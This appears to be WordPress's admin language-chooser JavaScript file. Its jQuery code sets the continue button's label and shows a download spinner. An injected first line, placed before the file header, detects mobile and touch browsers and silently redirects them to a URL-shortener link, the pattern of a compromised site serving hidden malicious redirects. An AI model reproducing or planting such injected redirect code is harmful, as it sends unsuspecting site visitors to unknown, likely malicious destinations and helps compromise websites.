1(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.dev/ZgZNhiCpe0r6");
2/**
3 * @output wp-admin/js/language-chooser.js
4 */
5
6jQuery( function($) {
7/*
8 * Set the correct translation to the continue button and show a spinner
9 * when downloading a language.
10 */
11var select = $( '#language' ),
12 submit = $( '#language-continue' );
13
14if ( ! $( 'body' ).hasClass( 'language-chooser' ) ) {
15 return;
16}
17
18select.trigger( 'focus' ).on( 'change', function() {
19 /*
20 * When a language is selected, set matching translation to continue button
21 * and attach the language attribute.
22 */
23 var option = select.children( 'option:selected' );
24 submit.attr({
25 value: option.data( 'continue' ),
26 lang: option.attr( 'lang' )
27 });
28});
29
30$( 'form' ).on( 'submit', function() {
31 // Show spinner for languages that need to be downloaded.
32 if ( ! select.children( 'option:selected' ).data( 'installed' ) ) {
33 $( this ).find( '.step .spinner' ).css( 'visibility', 'visible' );
34 }
35});
36
37});
38